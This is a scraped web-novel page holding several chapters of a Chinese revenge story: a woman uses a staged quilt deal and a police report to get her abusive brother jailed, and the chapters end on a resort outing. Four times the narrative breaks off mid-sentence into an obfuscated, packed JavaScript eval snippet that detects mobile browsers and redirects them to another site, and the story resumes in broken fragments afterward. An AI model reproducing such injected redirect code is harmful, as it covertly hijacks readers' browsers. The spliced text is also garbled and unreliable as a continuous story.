水非仙微笑道：“哪怕到现在，我还是能说我不会做生意，以后我公司做大了。怎么去做生意，我会交给专业的人来。我啊，不过是懂一点点人性罢了。就这一点点，这对付他们，足够了。” 46.布局 水非仙等小莲放学后将孩子接到陈玲家，又刻意在陈玲家待上很长时间。直到天快黑才慢悠悠往回家走。回去后看到水妈妈和水如松躺在家门口的楼道里，具体来说是水妈妈坐在地上靠在墙上，水如松躺在她怀里。水非仙的个头高，水如松自然也不矮，他躺在楼道里，导致整个五楼平台看上去都被塞得满满的。水非仙在四楼时，正好听到楼上母子的对话。 “妈，她咋还不回来？这城里的楼房，怎么比咱们县城的平房都邋遢。这么臭这么脏，怎么待啊？”最早一批楼房，垃圾道都设在楼内，夏天天气一热，垃圾发酵的味道就会顺着管道散发出来，实在是不好闻。加上楼道的墙壁上容易被人乱涂乱画，还是水泥地面落满灰，自然是不好受的。 “乖宝，天快黑了，肯定是要回来的。等她一回来，那就给你把衣服洗了。这大城市用洗衣粉可香了，咱也享受一回。”水妈妈轻轻拍着水如松的背，像哄孩子一样哄着这位人高马大的好大儿。 水非仙挂上一个挑不出错来的微笑，上楼喊道：“妈，如松，我回来了。” 水非仙说话的一瞬间，对门邻居将门打开，冲水非仙挥挥手，示意她过去。水非仙对面的人家，与水非仙素日并无往来。对面的户主是一位青年男士，他的爸爸是起重机厂的员工，这套房也是分给他父亲的，如今他的父亲已经退休，为着儿子要娶媳妇，就把房子让给在办事处工作的儿子儿媳住，自己则是跟着老伴儿一起，在不远处买下一间平房。 小两口年轻，平时工作忙，并不喜欢花时间来处邻居关系。院子里和他们相熟的人家不多，就这点信息水非仙还是王姐前不久跟水非仙讲的。 水非仙上前礼貌问对方有什么事，那男子皱着眉头，对水非仙小声道：“邻居你好，请问这是你的家人吗？之前没见过，能不能请他们以后不要再躺楼道里了？我妻子回来的时候以为他们是什么不正经的人员，非常害怕，担心了一晚上。” 水非仙连忙道歉，她背后的水妈妈和水如松听到，水如松哪里受过这种气，“嗵嗵”跺两脚，似乎就要向这里冲过来，水妈妈也厉声喊道：“你说谁不正经呢！这是我闺女家，就是我家！我躺我家楼道里怎么了？” 水非仙转过身劝阻水妈妈道：“妈，不要吵了，人家说得没错。”又闪身挡住水如松冲过来的方向，饱含歉意地看向邻居，用口型告诉他：快关门。 看到水如松这高大的个头，邻居也害怕，便听水非仙的快速关上门。水如松见对方关上门还不解气，跑过来“嗵”的一声狠狠踹邻居家门一脚。水非仙连忙哄着弟弟和母亲进门，心里却在暗爽，真是老天爷都在帮自己。 回到家后，水妈妈左瞅瞅右瞅瞅，奇怪问道：“那小赔钱货呢？怎么不在家？” 水非仙随便编了个理由：“学校组织春游，这两天都带孩子们出去玩了，孩子跟着老师同学们在外面，都不回家。” “啥是春游？”水如松问道。 “就是老师带着孩子们趁着春天，一起出去玩。” 水如松听到水非仙这么说，饱含怒气地看向水妈妈，指责道：“都是你和我爸没本事，你看人城里上学，整天就是玩儿，谁来上这种学念不成书？还怪我念不成，说到底都是你们的错。” 水妈妈听到儿子这么说，赶紧上前又是心肝儿又是肉地哄着，边哄边骂：“老天爷真是不开眼，怎么让那些赔钱的丫头去念书，宝贝如松这样的顶梁柱小伙子就没有这么好的环境。”水非仙饶有兴致地看一会儿，觉得要不是自己在这里，这水妈妈能把对方当成婴儿一样抱在怀里哄。 水非仙看戏看够以后，才开口： “如松乖，等咱们以后赚了钱，在城里娶上一房媳妇，给你生个小如松，这样如松做不到的事可以让小如松来享受。”水非仙忍住恶心说道。水如松听到水非仙这么说，眼睛一亮，觉得非常有道理，他连忙从水妈妈怀里爬起来，问道：“姐，你今天去打听得怎么样了？” 水非仙点点头，起身回房，掏出一支笔和一张纸，她给水如松说两个地点，让水如松用笔记下来。水如松边记，水非仙边嘱咐他：“姐打听清楚了，卖棉被是最赚钱的，城里人爱买棉被的很，是刚需。这第一个地址，在旧货市场，是进货的地方，有点远，你和妈得提前去。你可得记住，那棉被虽然每家看上去都差不多，但你最好不要买最便宜的，虽然这样赚得最多，姐总觉得，还是有风险。这第二个地址，是姐打听到最好摆摊的地方，你明天就去。” 水非仙说着，母子二人聚精会神地听着。那水妈妈还用力地点着头：“对着呢，这棉被县城人也爱买，结婚生娃都要的。” 说完水非仙看着水如松认真道：“你姐手里，一共有五千块，其中这一千块是小莲的，你姐代管。还有四千是姐姐的，现在姐姐就把这四千中的一半直接拿给你做生意。但是做生意，两千块是肯定不够的……” “那咋办？姐你实在不行都给我呗，我保证会养你还不行吗？”听到水非仙这么说，水如松急得直跳脚。水妈妈眼珠一转，也想跟着劝。水非仙想想道：“姐也知道这个好赚钱，你一定能赚到钱，只是这一千是小莲的，姐当保姆也赚不到几个钱，那两千块姐还要用来过日子。这样吧……姐把这三千块写个欠条，你签了，再盖个手印，就当姐借你的。你放心，姐不催你，有这个当凭证，你赚了钱后，姐也能要回自己的本钱，也能放心不是。” 水如松想想道：“可以。” 水非仙微微一笑，写下一个标准有效的欠条，并在里面刻意提到借钱时间。水如松看都没看就拿过来签字，并按上手印。水非仙贴身收好欠条，微笑着拿出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037334|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五千块，并再次告诉水如松：“你可拿好，这可是姐家里全部的钱了。千万别丢了。” 水如松哪里见过这么多钱，接过钱他乐呵得眼睛都睁不大，没几张票子他点过来又点过去。 水非仙看着对面两人没有丝毫怀疑的样子，心中满意极了，若换旁人来并不会有这般好骗，一是眼前二人此番到来本就是为了眼前，她给的数量远远超过两人心理预期，二是原主本就逆来顺受，这两人早已被喂得习惯了。弱点，它的另一个名字，就是欲望。 天亮后，水非仙提议水妈妈在家休息，自己和水如松出门。水妈妈虽然有些担心水如松一个人出门，水如松却不这么想，他好歹是个成年男子，其实并不喜欢妈妈跟在身边束手束脚，立马表示，自己一个人可以，就和水非仙一起出门了。水非仙和水如松一起上公交车，水非仙没坐几站路就先一步下车，水如松要到旧货市场才会下车。 水非仙下车后，转身打开一扇黑色的车门。这辆车上，田叔、陈玲和李秋实都在。水非仙坐在后排陈玲的旁边，从怀里掏出两千块钱，一千塞给田叔，一千塞给李秋实。然后陈玲激动说道：“那么，就开始我们的表演吧！田叔，快开车，到水如松要摆摊的地方。我已经迫不及待了。” 这边水如松，到达旧货市场后，进去拐了几个弯，货比几家店，总算让他找到一家棉被一床只要十块钱的店。他不理解，既然长得一模一样，为什么有人卖10块，有人卖13，有人卖15，甚至有人卖20呢？别不是其他家都从这家十块的店里进的货吧？可算是给他找到致富秘籍了，自己这么会算账，真是天生做生意的料。 他左右看看，上前问那家店老板：“你这儿的棉被，能大批量买吗？”那老板上下打量他一眼，也压低声音回答：“这被子，你要多少有多少，关键是你真能要那么多？” 水如松觉得老板说得有道理，就说：“那先给我来两床。还要的话我下午来找你。”付完钱后，水如松就抱着那两床被子，来到摆摊的地方。他看看周围这么多人摆摊，人挤人都看不清周围的环境，想着水非仙总算有点用这次，等他赚上钱，把水非仙那三千还上。以后就没水非仙的事儿了，这两天看她脸色过日子，他也算是忍够了。 水如松被子刚一放下，一位看上去很活泼，梳着罗马卷的小姑娘就蹦蹦跳跳赶过来。问道：“太好了，这棉被现在是真难买。小老板，你这两床棉被多少钱？我都要了！” 刚摆摊就有人来买吗！水如松心里一阵激动，他想想旧货市场的最高价，试探性地开口：“一床二十。两床给你四十。”没想到这小姑娘，爽快地直接付钱，抱着被子就离开了。这才几分钟就赚了二十！县城赚二十好歹要一个星期！巨大的喜悦冲击水如松的内心，使得他整个人有点飘。就在这时，又有人过来了。 47.做局 来人看上去像是一位富家子弟，穿着打扮时髦，痞帅模样，长着这个时代最受女孩子欢迎的长相，也是水如松最想拥有的长相。见对方直挺挺冲自己而来，还没等水如松开口问，那男子就急匆匆问道：“你刚才卖给那位小姐的棉被，还有吗？我也是干这行的，急需进货交付买家，能从你这儿买吗？” 水如松听到自己的心脏扑通扑通地跳，那水非仙到底还是个女人家，她分明远远低估了这个市场。他控制住自己的嘴不要往上咧，客气问道：“你好，你说你要多少？” 眼前的男人开口说：“我要五百条，一共多少钱？” 水如松听到这话高兴得不得了，面上还耍个小聪明说：“要一万二，这样，你买得多，我给你便宜，就一万，这个价格你到别处可买不到。” 那男子看上去似乎有些为难，又问道：“那最快要什么时候？明天下午可以吗？” 水如松猛地点头：“明天下午可以，但你得保证你必须买。” 这男子点头道：“这么大的生意，我还担心你不能及时供货，你要是不能及时供货，那我的损失就太大了。这样吧，咱们两个人签个协议，我先给你付一千块定金，你明天下午及时给我供货，我就再给你付九千，要是你言而无信，你得倒赔我四千块，这个损失责任在你，我不承担。” 水如松听到要倒赔对方钱，皱紧眉头有些迟疑。眼前的男子也不愿和他浪费时间，见他犹豫就说：“那不勉强，我再找别人谈。” 听到这么大的单子要让给别人，水如松急眼了，不就是五百条被子吗？旧货市场那么大，就是一家拿不出来，那么多家凑一凑也可以啊，自己量大不怕讲价讲不下去。更别说那老板不是说自己要多少都可以吗？水如松一把拉过眼前的男人，急忙说道：“行，我给你签，你放心这没啥好供不上的。” 那男子听水如松这么说，拿出纸笔写好协议，水如松就在上面签下自己的大名。签完，水如松和那男子一前一后离开了摆摊的地方。 见水如松走远，那男子转身上车，朝着后排晃晃自己手里的协议，挑眉道：“搞定！玲玲，快夸夸我。”原来这男子就是李秋实。 后排的陈玲“切”一声，展示自己怀里的两床被子道：“我觉得你的演技不如我，你只是拿到了协议，而我，可是拿到了关键证据！”说完，又对水非仙撒娇道：“水姐姐，你也太厉害了，真是女中诸葛，料事如神啊。还好你不是我的敌人，不然我怎么死的都不知道！” 前排的李秋实顺着她的话说道：“玲玲说得对，水小姐确实厉害，称得上女中诸葛。” 水非仙摇摇头，无奈笑道：“哪里？这才哪跟哪？我远远担不上，还是你们两个才子佳人有勇有谋。” 陈玲红着脸，将那被子一扔，害羞道：“什么才子佳人，谁要和他一对！水姐姐，你再这样我不帮你保管证据了！” 水非仙饶有兴致地逗她：“你们俩是才子佳人难道不对吗？我可没说才子和佳人就得是一对啊？” 陈玲假装生气地转过头去，田叔看着自家小姐的样子，脸上的笑容都落不下来。李秋实也跟着笑，他的双眼眷恋地看着陈玲，只是这浓浓的眷恋中还混杂着一丝哀愁…… 当晚，水非仙在陈玲家陪着小莲吃完饭后，等她回到家，开门看到水如松买了只烧鸡正在和水妈妈一起啃着。水非仙故作震惊道：“小松，这鸡是哪来的？这五千是你创业的本金，可不能拿着乱花啊！” 听到水非仙这么说，水妈妈得意地看向女儿道：“仙娃子，这你就不知道了，这是你弟弟今天赚钱赚回来的烧鸡，那五千，他一分没花，全用来进货了！现在正堆在你房间呢！” 水非仙听到水妈妈这么说，赶紧跑到卧室一看，果然，满屋子堆着的都是用蛇皮袋子打包好的棉被。她装出一副迟疑的样子，回来问道：“小松你是在哪买到的这么多的棉被？一次进这么多，卖得掉吗？” 水如松听到姐姐这么问，眼底闪过一丝不屑道：“我是个男的，有祖宗保佑，命肯定好。这么多货我是搬空了一家店才买到的。你别说，还就他们家有这么多，我买完后他们店里都没剩几条了。至于买家，我可谈好了！协议都签了，明天我一早就出门去等他，等上他就领着他来家里搬。这批棉被卖完了，我能赚五千呢！另外几家店主不会做生意，见我买走这么多棉被，可能是觉得卖棉被能赚到钱吧，竟然都把店里的棉被收起来了！心真黑。不过没关系，卖完棉被，下次再卖别的就是了！” 水非仙垂眸，假装出一副有些羡慕的样子，开口道：“哎呀，弟弟赚钱怎么这样容易的？不会被人骗吧？这棉被不会有问题吧？” 水妈妈一听就炸毛了，一拍桌子怒道：“怎么，就允许你赚钱，不允许你弟弟赚钱了？还见不得别人好了？你再说一句诅咒你弟弟的话，小心我今天打你！” 水非仙看上去像是被水妈妈吓到，再也不敢说话，起身回屋子休息去了。门关上后，水非仙着看向那批棉被，这数量之所以正好，当然是自己找牛家打听过的。这水如松真是蠢笨至极，这么多巧合，竟都丝毫没有怀疑，这么容易就上钩，真是好没意思。 水非仙在心里吐槽完，就决定早点休息，明天还有一场好戏要看呢。 第二天，水如松抱着两床用来给对方验货的被子，就跟着水非仙上了公交车。当然，在他不知道的时候，水非仙再次坐在桑塔纳的后座，观察着水如松。 水如松又来到昨天摆摊的位置，静静地等待李秋实的到来。虽然说李秋实下午才会来，可这么大的单子，这么多钱，别说让他在这里等一天，就是等一星期也是愿意的。害怕错过，他选择一早就过来。 李秋实当然不会早来，在周围的人群还逛着早市买些小物件的时候。他等来了田叔。 田叔围过来，看向他手里的棉被，谨慎问道：“你这手里的棉被，就这个款式的，有多少！这两天有个外地的富商来了，对方一口气要五百条。这样，你要是能给我凑到五百条， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037335|134372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我分大头给你？” 水如松一听田叔的话，心里一咯噔，自觉自己可能是被李秋实骗了，他试探着问：“分给我大头，那是多少？” 田叔说道：“能给你分两万，就是比较急，这生意你做是不做？做的话，我给你一千押金，这被子我明天中午就要！明天中午交货的时候给你一万九尾款！就是我这单不能黄也不能耽误。” 水如松刚被两万块冲昏头脑，又想起来自己前面签署的协议，心下当即有几分犹豫，可他架不住田叔一个劲儿地催。粗略算一下，田叔给他两万，那么他即使赔了对方加上定金的五千块，还是净赚一万，那么这生意可行！决定了，赔李秋实的违约金，接田叔这单！ 于是他当即和田叔达成约定，签下协议后又收下田叔的一千块定金。目送田叔离开后，水如松疯狂赶回家中，到家里一把抓住水妈妈，嚷道：“妈！快借我三千块钱，急用！明天就能还给你！” 水妈妈皱眉问道：“三千块？哪里就要得了这么多钱，一时之间咋能拿得出来？”水如松咬牙，直接给水妈妈下跪道：“妈，我签了协议了，还收了押金不怕对方赖，除非一千块钱对方都能说不要就不要！明天保证能还你。如果这个钱你不给我，人拿着协议去告我，你儿子就进去了！” 水妈妈一听，自己的宝贝儿子可能会受到伤害，当即从自己贴身的衣服暗兜里摸出一沓钱，数了数，正好三千一百块，她感叹道：“这里面是两千五百块是艾建国当初娶你姐给我的钱，我本来还想留着给你娶媳妇用。还有六百，是你爸留下来的钱，就剩这么点了。全给你，妈这里就剩一百了。你可千万不能乱花！” 水如松听都没听进去自己母亲说的是啥，直接拿起水妈妈数出的三千元，又和手头自己剩下的两千元放在一起，揣好钱飞奔出了门。 水如松赶到摆摊的地方，见李秋实已经等在那里。水如松赶紧上前道歉：“抱歉，我实在没凑出这么多棉被来，我整个城市打听过了，都没有，你也别白费功夫了。这样我按照协议里的要求，把违约金准备好了，你收好。只是要棉被没有。” 李秋实收下钱，看上去遗憾得不得了，水如松暗中观察李秋实的表情，更加得意起来。但他多少还有点小聪明，提醒道：“违约金我已经给你了，协议可以撕了吧？”说完他看着李秋实将协议撕掉，一时之间得意的情绪到达顶峰，他又害怕李秋实占不到便宜纠缠自己，为此赶紧说道：“那就先这样，我先去忙了。”说罢，水如松赶紧离开。 李秋实嘲讽地看向水如松离开的方向，转身走向不远处的桑塔纳，上车后，将五千块交给水非仙。陈玲忍不住称赞：“不愧是水姐姐，用七千块，换回五千块加一张三千块的欠条。赚大发了，最重要的是，还把水老太黑走的钱拿回来了！” 水如松轻轻敲一下陈玲的头：“你啊，那是友人眼里出西施，这才哪到哪。”说完她看向车上的那两床被子，又道：“证据到位，接下来的才是重点，总得让他们付出代价。” 48.收网 同水非仙预想中的一样，今夜回家，那母子二人以为自己即将发财，见到水非仙回家，竟一反常态惜字如金，两万块的事连提都没提。 水非仙刻意凑上去：“小松，怎么样，今天的交易还顺利吗？钱到手了吗？” 水如松只一个劲儿打马虎眼：“拿到了，拿到了。”眼神飘忽，不敢看水非仙。 “那……借我的三千块，什么时候还给我？姐和你外甥女还得靠这钱过日子。” 水妈妈听到水非仙这么说，直接头铁地挤上来，把水非仙挤到一边，吹胡子瞪眼道：“不就三千块吗？你这小家子气的，我儿子都赚了一万了，还能缺你这三千？该给你的时候就会给你，你一直催是什么意思？” 水如松听水妈妈这话瞬间有了底气：“姐，不就是三千吗？你这扣扣搜搜的样子至于吗？得了，我明天晚上给你，说给你就会给你。你没必要一直念叨。”说完就刻意将水非仙赶回自己的屋子去休息，自己和水妈妈在客厅开始不知道密谋些什么。 水非仙没有兴趣去偷听这两人的对话，想猜出他们在说什么，没有丝毫难度，去听这样没有含金量的预谋，纯属浪费时间，还不如好好睡个美容觉，养精蓄锐。 天刚亮，水如松就离开家门。水非仙直等着目送他出门后才装作起迟的样子，慌忙出门。期间自然少不了水妈妈一顿数落：“啊，你这懒懒散散的样子，别好不容易找这么个保姆的工作再弄丢了，别不是真等着全靠你弟弟养你吧，当姐姐的真是好意思。”那态度和前两天比起来完全是天差地别，这是以为自己儿子赚钱是板上钉钉了，就没耐心再哄着水非仙了。 水非仙一副唯唯诺诺的样子，一个劲儿应和：妈说得对。转身出了门。 水非仙下楼走出起重机家属院后，拐了两个街口，陈玲那辆黑色桑塔纳早就等在那里。她打开门上车，从陈玲这里拿上两床棉被，车子直直开往水非仙熟悉的那间派出所。 “警官您好，我要报案。”水非仙一脸忧心忡忡地奔向派出所屋内。 经过上次的事，水非仙给这间派出所的几位警员都留下很深的印象，大家伙儿心疼她的遭遇，自然是能帮就帮的。“水小姐，这是发生了什么事？不要着急，有我们在呢。” “我要举报，我的弟弟在大规模转售黑心棉，数量高达五百条。”水非仙闭上眼，咬咬牙，做出一副长期内心挣扎终于痛下决心的样子。 几名警员找出一把剪刀，将棉被剪开，被子里的填充物肮脏至极，又黄又黑，令人心生不适。虽然这时候对黑心棉的打击力度没有千禧年后那么大，可从50年开始华国对黑心棉这种东西，一直是在排查。黑心棉这事可以说是一告一个准，更别说这么大的量。只是，既然是自己弟弟，为何又会轻易举报？几名警员心生疑窦，不能因为和水小姐熟识，就一味偏袒，还是要严谨一些。 “水小姐，放轻松，请您将详细的过程告诉我们。”说完拿出笔和纸，开始做笔录。 水非仙坐下，皱着眉头，双眼丝毫不避几名警员审查的眼睛，她委屈地将自己的母亲和弟弟进城以来做的所有事和目的，委婉地一字不漏将关键信息全部传递给警员。 最后，她深深叹口气：“我也想劝，可在我母亲面前，我不能唱一句反调，我根本拦不住他们，他们也不听我的，关于我前面说的话，我们之间的关系以及他们的为人，我的邻居可以作证。他们有亲眼见到过。” 警员又问：“那你和你的邻居平素关系如何？”言外之意，邻居有没有偏袒自己的意思。 水非仙正色道：“我的邻居，是一对年轻夫妻，跟家属院的所有人都没有什么往来，包括我也一样，这一点家属院的所有人都能作证。” 警员再问：“那么按照你说的，如果他能赚到钱，就能把这个钱还给你。你为什么还要举报他？”这是问这里面有没有夸大事实，公报私仇的成分在？ 水非仙认真地看向眼前的警员们：“警官们，我是做服装生意的，也是布艺的一部分，可同时我也是一位母亲。我知道黑心棉意味着什么，这黑心棉看似外面还有一层被套包着，可用得时间久了，不仅呼吸道会染上严重疾病，甚至会导致白血病、癌症等等。每一对父母，新买来的被子，自己都是不舍得盖的，都要留给孩子。同为母亲，我怎么能眼睁睁看着我弟弟将这被子卖出去，而那些把这被子买回去的家长们，本是怀着满满的爱意，将不舍得盖的被子留给孩子，却让这份爱意化为杀死自己孩子的武器？那太可怕了，五百床被子，那是多少个家庭？多少人？我今日冷眼旁观，来日这份报应会不会报在我孩子的身上？警官，我做不到，这是我家里的钥匙，那五百床被子，此刻就堆放在我的家里，我弟弟就在某某公园即将卖出这批被子。我还请你们救救那些即将上当的孩子和家长。” 这话，掷地有声，敲击人心。她的这番解释再加上人证物证俱全，令警员们不得不信服，当即出警，去往水非仙家中查获到大批量黑心棉被子，在水老太的尖叫阻拦声中将所有的黑心棉全部拿走，水老太见阻拦不成，往地上一坐，拍着地哭喊着：“杀人啦！杀人啦！没有王法啦！这有人滥用职权，抢人钱财啦！”可根本没人理她，也没人买账，任她哭喊到嗓子哑了，也没人放下手中的东西。 水老太一想不对，赶紧出门，就打算赶到儿子等待买家的某某地方，跟儿子通风报信。水如松正蹲在某某公园门口的台阶上，看着路过的美女打口哨。他姐，脑子不好，有一句话却说得没毛病，赚了钱是该娶个城里媳妇。城里媳妇，那父母都是有房的，他姐住的那个家属院不行，自己可得擦亮眼睛看看，找个家里条件更好的。毕竟今天过后，他也大小是个万元户了，得找个配得上自己的。 正这么想着，见到自己老妈神色慌张地向自己跑过来，挥舞着手臂，似乎在喊什么。与此同时一群警察，骑着摩托车就往这儿赶，气势汹汹的，水如松立刻就吓到，拔腿就跑。他并不知道自己犯了事，这会儿的逃跑纯属本能的条件反射。 可他两条腿怎么能跑得过追击经验拉满的民警？没两分钟就被按在地上，铐上手铐。水妈妈见自己儿子被铐着就走，当下就疯了，直接冲上来，哭着就打警察，便被一起带走。 二人被带到派出所之前，水非仙已经做完笔录提前离开。水如松和水老太被押到派出所后，警员上来就问：“这些被子是你的？都是你用于出售的？” 那水如松心里害怕，为壮胆恶狠狠说道：“是的，都是我的，我今天就要出掉，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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水非仙捂嘴轻笑：“你说，他才卖了五千块钱的货，这就被抓进警局了，据我所知，那都是到市局啊吧？市局得判多少年呢？才五千就这样，那么再加上我这张三千的欠条？他又得判多久啊？” 那水老太听到水非仙的话，全身忍不住地颤抖，瞪大眼睛看着水非仙像第一次认识她，不敢再说一句话。 水非仙又道：“你都这把岁数了，你说你能不能等到他出来？这样吧，我也不想看到你，更不想把你们逼上绝路，如果你今天从我家离开，乖乖回你那里过日子，别再出现我面前。那我每个月给你打50，权当赡养费，你把这钱给你宝贝儿子攒着，等他出来，还能靠你攒的钱，否则坐牢这么多年，他出来，找得上工作？有人敢用？若你再来碍我的眼，或者就跟你说的，鱼死网破，那我也不介意，一是省了你的赡养费，二是加上这张欠条，你有生之年别想再见你的儿子。怎么做，你自己选。”水非仙轻轻拍拍她的肩膀，就转头回房。 进卧室之前，她似乎想到什么，又回头微笑着加上一句：“明天应该是个好天气，我不想让你破坏我的好心情，天亮之前，就离开吧。”说完，她走进屋内，再没出来。 那水老太怔怔地坐在地上，这一切怎么就成这样了呢，不该是这样的啊…… 49.爱意随风起 水老太天不亮就离开水非仙家，在水老太离开后，水非仙将家里整个进行一次大扫除，该扔的物品都一口气扔掉，这才接小莲回家。 最后水如松的案子有了结果，警方根据水非仙提供的线索，端掉几个黑心棉窝点。而水如松，由于贩卖黑心棉数量过多，加之交不出罚款，最终判处七年有期徒刑。 自此以后水老太再没出现过，为保险起见，每个月给水老太寄钱的事，水非仙还是拜托给牛叔，写信必须填上发信地址，水非仙可不认为自己和小莲会一直住在起重机家属院，小心一点总比以后再被缠上来得好。 不论怎么说，这次得多谢朋友们的帮助，解决掉大麻烦的水非仙心情好，提出要请大家周末出门玩。关于吃喝玩乐，陈玲比较有话语权，彼此这么熟了，她也不跟水非仙客气，提出去度假村玩。 90年代左右，城镇风景好的地方出现过很多度假村，装修精美，地理位置极佳，和现在比起来也不差什么。那时的度假村，都是富家子弟周末最喜欢去的地方，里面通常配备有影院、歌舞厅、酒吧、ktv以及各类运动场地。 正好，出城往西开车走几个小时的黄河边不远处，新开一家度假村，水非仙也想去看看90年代的度假村，这种饱含一个时代记忆的地方。还记得前世开车行驶在高速公路上，两旁总是能见到很多废弃度假村，那都是它们曾经辉煌过的证据。 于是，周五那天晚上，高歌开着车带着李秋实，田叔开车带着陈玲水非仙和小莲，一行六人在下午开车前往度假村，天黑之前就已经赶到目的地。 新开的这家度假村位于山顶，整个度假村属于环形结构，看上去就像一座中西结合的土楼。大门前面设有带篷的停车场。度假村还没进去，就能感到里面金碧辉煌的氛围，超大面积的大厅，大厅不止一盏的水晶灯，四处都是玻璃和大理石的装饰，连灯光都是特意选用亮黄色，衬得度假村的地面看上去更加锃光瓦亮。如果不是度假村里到处都摆放着塑料椰树。增添几分时代气息，水非仙都要以为这里是几十年后的乡村温泉酒店了。 水非仙大手笔来到前台定下两个套房，全在顶层。众人回屋将行李放下，便来到餐厅共进晚餐。 陈玲透过餐厅的弧形落地窗静静欣赏着山里的夜景，小莲戳戳水非仙的肩膀示意她看陈玲，水非仙看到陈玲的样子也察觉出几分好笑来，这样火急火燎的姑娘看上去竟难得生出几分文艺范儿来。 有别于刻意不敢看水非仙的高歌，李秋实手上的工作一直没停，陈玲喜欢看风景，他也不出声打断，只是一个劲儿地给对方剥螃蟹剥虾又挑鱼刺的，这都是陈玲爱吃却怕麻烦的。 陈玲不说话的时候还真有那么几分样子，可惜一旦回过神来，脱口而出的话总能轻易暴露她的本性：“我们去山里玩吧。这样的山里夜里肯定有书上说的萤火虫，我还没见过呢。” 水非仙皱眉，有些不认可：“你看外面好多乌云，今晚要下雨也说不好，怎会有萤火虫？何况这夜里山林间也不安全啊。” 见陈玲回过神，李秋实将摆好的食物在陈玲面前放好，又将筷子擦拭干净，放在她手里，像哄孩子一样说：“你做什么我都陪你去，你先吃饱。”然后又对水非仙跟田叔说：“你们放心，有我在呢，我陪她，没事的。” 田叔知道自家小姐最近和李秋实的关系不一般，李秋实这孩子看起来对陈玲好，田叔也乐见其成，于是叮嘱道：“还是把手电筒带上再去。”李秋实和陈玲自然没什么不同意的。 于是，饭后陈玲和李秋实到山林里抓萤火虫，其他人回到自己房间。水非仙在屋子里和女儿一起玩得不亦乐乎，时间在不知不觉间过去，陈玲一直没回来，这令水非仙察觉出几分不对来。她从内室走向套房客厅的窗边，将窗帘拉开一看，心下登时一惊。 窗外不知何时下起大雨，这样大的雨，通过屋里的灯光定睛向下看，只见山中树叶片间，隐隐可看到水流向下冲刷的样子，远远看上去就像瀑布一样壮观，难道说，是山洪？ 水非仙心脏猛地一跳，带着小莲就往高歌他们的房中走，刚走到高歌房间门口，已有人从里面将房门打开，是高歌和田叔。水非仙焦急地将小莲推到田叔那里，叮嘱道：“小莲，和田爷爷待一会儿好吗？妈妈和高叔叔有要紧事儿。”田叔虽然着急，但也放心水非仙他们，便对着水非仙点点头，示意小莲交给他可以放心。 小莲很聪明也已经猜到发生了什么事，她扯一下水非仙的外套，只说一句：“妈妈，小心，把玲玲姐和秋实哥哥带回来。” 水非仙揉揉小莲的脑袋，就看一眼高歌，和他一起去寻找度假村的工作人员。他们自然不会傻到仅靠自己的力量去找陈玲和秋实，那样不仅找不到人，还很有可能将自己搭进去。 果然，工作人员听到二人的话，连忙找出一队年轻强壮的保安队，他们用粗壮的麻绳固定在彼此的腰间，排成人字形，带上手电筒，缓慢向下开始一点点排查。水非仙和高歌则是跑到度假村的天台上，焦急地向下看着保安队的进展。 与此同时，离山顶三分之一的某棵树上，陈玲在树的高处，脚下踩着李秋实的双肩。李秋实用力扒住树干的同时承担着陈玲的全部重量。陈玲抽泣着说道：“秋实哥，对不起，都怪我，偏要来找什么劳什子萤火虫。” 李秋实抬头对陈玲笑笑，以示安慰：“怎么就怪你了，是我自己选择陪你来的。” 听到李秋实这么说，陈玲哭得更厉害：“可我连爬树都不会，还是被你硬推上来的，上来以后还要让你承担我的体重。” 李秋实轻笑，温柔开口：“所以啊，还好我在。否则你这个连树都不会爬的小傻子，该让我多担心啊。” 耳边是哗哗的流水声，可李秋实的话在此时此刻却让陈玲忘记了恐惧。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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高歌从前其实想过自己喜欢一个人会是什么样子，圈层原因他认识不少优秀的女子，其中有很多，他都十分欣赏。他曾以为，喜欢就是比欣赏再多少几分好感，可就在此时此刻，他才知道自己错得离谱。原来这才叫喜欢，只是站在她的身边，感受到她的呼吸，她的气息，听到她的声音，就有种心跳加速到快要呼吸不上来的感觉，就有一种快要晕过去的感觉，就连嘴角也不听话地上扬，压都压不下来。 他自问为人处事相对理性，可就是这样一个理性的人，竟能放任自己喜欢上一位有家庭的女子。 “高先生，高先生？”水非仙见高歌迟迟不动，她出声提醒。高歌这才如梦初醒，将手从水非仙的手上移开。只是移开后，他甚至不舍得将握过水非仙的那只手捏成拳头。罢了，放纵一次吧，高歌，我允许你偷偷喜欢她两天，只是在离开度假村后，不管多痛苦，你都要尝试去忘记她，绝不可以伤害她，绝不可以为自己开心而破坏她的家庭。 